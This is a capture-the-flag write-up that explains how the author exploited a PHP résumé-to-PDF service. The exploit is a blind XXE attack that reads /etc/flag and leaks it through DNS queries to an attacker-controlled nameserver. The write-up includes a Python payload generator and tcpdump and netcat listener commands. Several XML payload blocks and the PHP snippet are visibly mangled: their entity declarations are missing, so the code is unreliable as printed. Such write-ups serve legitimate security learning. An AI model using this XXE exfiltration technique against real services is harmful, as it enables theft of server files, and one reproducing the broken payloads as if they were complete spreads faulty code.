## Challenge
> We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)> > P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).
Opening the website which is linked in the description, gives us the following:
![Baby Recruiter](https://www.sigflag.at/assets/posts/baby_recruiter/website.png)
Furthermore, we can download an archive which contains the following files:
* Dockerfile* iptables.sh* setup.sh* index.php
## Service analysis
The Service allows us to enter arbitrary text, which is then converted into a pdf and returned to us for download. Because we have the service given as source code, we start with it.
#### Dockerfile
The Dockerfile contains some interesting information for further exploitation:
Foremost, it removes all ```.dtd```and ```.xml``` files present on the system. It even tells us the reason, because it needs to defend against hackers ;).
The second information is the location of the flag.
```docker# ... not relevant ...
# we really don't like hackersRUN find / -name "*.dtd" -type f -delete
RUN find / -name "*.xml" -type f -delete
# ... not relevant ...
# create a flagRUN echo -n 'this_is_not_the_flag' > /etc/flag
# ... not relevant ...```
#### iptables.sh
This file tells us we can only do outbound DNS connections, and inbounding HTTP connections:
```bash#!/bin/bashIPT="/sbin/iptables"
# ... not relevant ...
echo "Set default policy to 'DROP'"$IPT -P INPUT   DROP$IPT -P FORWARD DROP$IPT -P OUTPUT  DROP
## This should be one of the first rules.## so dns lookups are already allowed for your other rules$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT$IPT -A INPUT  -p udp --sport 53 -m state --state ESTABLISHED     -j ACCEPT$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT$IPT -A INPUT  -p tcp --sport 53 -m state --state ESTABLISHED     -j ACCEPT
echo "Allowing new and established incoming connections to port 80"$IPT -A INPUT  -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED     -j ACCEPT
# ... not relevant ...```
#### setup.sh
This is just a helper file to build the container, and we see that the iptables rules are applied.
```bash#!/bin/bash
# build dockerdocker build -t babyrecruiter .
# setup firewalldocker run --cap-add=NET_ADMIN  -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'```
#### index.php
This file contains the PHP application running on the web-server. It receives the content transmitted from the HTML form,writes it into a temporary file, executes ```/usr/bin/prince``` to create the pdf and returns it.
Oh, and there is some debug code that was not commented out, and which does XML handling. What could possibly go wrong...
```phploadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);    $info = simplexml_import_dom($dom);    /* ... not relevant (commented out debug-code which uses $info) ... */    header('Location: /resumes/' .  $filename . '.pdf');} else { /* ... not relevant (serve title page) ... */ }```
So, what programming errors do we spot, which could lead to an exploit?
1. The filename of the temporary, as well as of the resulting file is calculated from the remote address. This means we   always know where it will be stored.2. We execute ```/usr/bin/prince``` with parameters derived from the user.3. We parse the content as an XML document, with the following parameters:  * **LIBXML_NOENT** enables the substitution of XML character entity references.  * **LIBXML_DTDLOAD** enables loading of external document type definitions (DTD)4. The temporary file is never deleted from the server
XML external entities, as well as loading of DTD, are a rather common vulnerability, which even got their own entry inthe [OWASP TOP 10](https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)).
## Exploit
From those pieces of information, it seems pretty clear the challenge author wants us to do some sort of XXE attack on the service.We have external entities as well as document type definitions enabled, which gives us read access to the file system. Becausethere is no further processing of the XML after parsing, we need to do a blind XXE attack.
To extract data from the server there are only two possible points to do so: Either send it back with HTTP, in an inboundconnection or send it along with a DNS request as an outbound connection. Only DNS looks promising to do flag extraction,so we will continue with this.
To extract data with DNS, we need to construct an url which contains the file data. For the XEE payload, I took inspirationfrom the [XXE Cheat Sheet](https://www.securityidiots.com/Web-Pentest/XXE) published by *SecurityIdiots*. The example lookslike the following:
```xml
">```
```xml
 %x; %param1;]><asdf>    <qwerty>&exfil;</qwerty></asdf>```It consists of a DTD and an XML file using that DTD. We can tell the XML parser to substitute the entity ```exfil``` withthe definition defined in our DTD, which also substitutes the entity ```data``` with the content of ```/etc/flag```.
Some adjustments need to be done by us to get it working for this service. First, we need to get the DTD onto the serverand reference it by our XML. Looking onto the service, we see that the file is uploaded to a known path,which is ```"/tmp/".md5($_SERVER['REMOTE_ADDR']).".html"```. ```REMOTE_ADDR``` is the public IP of our server, which wecan find out, for example, using [DuckDuckGo](https://duckduckgo.com/?q=ip). The file is never removed, so we can access itin the future, as long as it is not overwritten.
Because we need to upload two files, and the file is written to disk before parsing of the XML, we need to execute theattack from two different public IP's. After placing the DTD on the server, we can upload the XML file from a second system,where we use the known path to our DTD. This should lead the server to parse the XML and a request to our nameservercontaining the flag.
It has to be noted, that the DTD in our case will not end with ```.dtd```, but with ```.html``` as this suffix is appendedby the service on creation.
---
I wrote an interactive script, to help with the attack:
```python#!/usr/bin/env python3
import hashlib
DNS_URI = "this.is.our.nameserver"
print(f""""* Upload this file from one ip:---------------------------------------------------------------------------
">---------------------------------------------------------------------------""")
ip = input(" * Input your public ip from this uploaded: ")ip_hashed = hashlib.md5(ip.encode()).hexdigest()
print(f""" * Upload this file from a different ip:---------------------------------------------------------------------------
 %x; %param1;]><xxe>    <attack>&exfil;</attack></xxe>---------------------------------------------------------------------------""")```
## Get the flag
Now we can execute the attack to get our flag using our script and an unlucky ctf college.
#### Step 1: Deploy a DNS Resolver
To exploit this service, we need to have quite some preparations set-up, compared to other CTF challenges.
Namely, a nameserver which is controlled by us, and where we can log requests. This requires us to have at least accessto a nameserver where we can set an NS entry, and a server where we have root access as well as a public IP.
We can skip the point of installing a nameserver on the server. We only need to capture all trafficrequesting a DNS resolve by us. To do so, we first need to start a tcpdump process which captures all DNS traffic:
```bashtcpdump -w pwn2win_baby_recruiter.pcap port 53```
Furthermore, we will tell netcat to listen for DNS traffic:
```nc -lvp 53```
Now, the DNS request to our server should be captured for sure.
#### Step 2: Upload DTD
In my case, I asked a friend to upload the DTD to the game-server and tell me his public IP address in return. This isrequired to calculate the path of the DTD on the server for the next step:
```xml
">```
#### Step 3: Upload XML
Using the known location of the DTD, I need to upload this XML file which causes the XML parser to substitute ```&exfil;```and in succession sending us the flag.
```xml
 %x; %param1;]><xxe>    <attack>&exfil;</attack></xxe>```
#### Step 4: Profit
We only need to stop ```tcpdump```, download the file with ```scp``` and open it in Wireshark. Doing so allowsus to extract the flag: ```c0ngr4tz_y0u_w3r3_4ccpt3d```